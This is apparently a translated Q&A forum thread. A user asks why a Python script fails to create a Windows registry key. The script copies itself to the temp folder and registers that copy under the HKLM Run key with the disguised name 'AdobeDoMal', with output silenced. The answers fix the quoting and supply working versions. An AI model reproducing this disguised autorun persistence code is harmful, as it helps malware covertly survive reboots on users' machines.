Changing Key in Windows 10 Registry

Asked

Viewed 466 times

3

The code below is giving "Registry error", that is, it does not create the key in the Windows registry. Does anyone have any idea how to resolve?

import socket
import time
import subprocess #Executar comandos do SO
import tempfile  #pegar o tmp do SO
import os #rodar comandos do SO

FILENAME ='ED5.py'
TMPDIR  = tempfile.gettempdir()        #varia de acordo com a versao do windows

def autorun():
    try:
        os.system("copy " + FILENAME + " " + TMPDIR)#se fosse linux, usaria cp em vez de copy
    except:
        print("Erro na copia")

    try:
        ####criar a chave de registro
        FNULL = open(os.devnull, 'w')
        subprocess.Popen("REG ADD HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
                         " /v AdobeDoMal /d " + TMPDIR + "\\" + FILENAME, stdout=FNULL, stderr=FNULL) #key para programas de 64 bits
    except:
        print("Erro no registro")

autorun()

2 answers

4


Has two quotes " the most:

subprocess.Popen(
"REG ADD HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\"
                                                                      ----------^
" /v AdobeDoMal /d " + TEMPDIR + "\\" + FILENAME, stdout=FNULL, stderr=FNULL)
^---------

Leave the line up like this:

subprocess.Popen(
"REG ADD HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ /v AdobeDoMal /d " + TMPDIR + "\\" + FILENAME, stdout=FNULL, stderr=FNULL)

If you prefer to format the string, use the str.format():

import subprocess, tempfile

arquivo = "ED5.py"
tmpDir = tempfile.gettempdir()

programa = "AdobedoMal"
chave = "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"

linha = "REG ADD {0} /t REG_SZ /v {1} /d {2}\{3}".format(chave, programa, tmpDir, arquivo)

try:
    subprocess.Popen(linha, stdout=FNULL, stderr=FNULL)
except:
    print("Erro no registro")
  • 1

    I tried to quote too much and gave syntax error: + " /v Adobedomal /d " + TEMPDIR + " " + FILENAME, stdout=FNULL, stderr=FNULL) #key for 64-bit programs Nameerror: global name 'TEMPDIR' is not defined

  • I found the string.format() a little confusing.

  • 4

    The format is the most correct way @Eds, you can even take the numbers and stay just like this {}, but make sure after that they respect the order of the vars within the format(...)

  • 1

    @Eds See the message: NameError: global name 'TEMPDIR' is not defined there is the variable TEMPDIR? the string.format() is much more practical, do some tests!

  • @Eds Actually, it was two quotes. :)

  • 2

    @zekk thanks. I didn’t know the format. I’ll study it. I now discovered that my code didn’t work because TEMPDIR is actually TMPDIR...

Show 1 more comment

0

For me it worked like this:

subprocess.Popen(f"REG ADD HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\\ /v AdobeDoMal /d {tempdir}\\${filename}", stdout=fnull, stderr=fnull)

because the python is 32 bits it is Automatically redirected to this path:

\HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run
  • @Solkarped I rejected your issue because all questions and answers must be in Portuguese, so in this case I understand that an edition would only be valid if it were to at least translate the question.

  • 1

    @Luizaugusto The same goes for you (see my previous comment above). Tidying up only the formatting depending on the case is desirable, but in this case the answer continued in English, so in the end it was not a very good edition (ideally it would fix all the problems - in this specific case, translate to Portuguese, for example)

  • @hkotsubo right! Thanks, note tip for next revisions

Browser other questions tagged

You are not signed in. Login or sign up in order to post.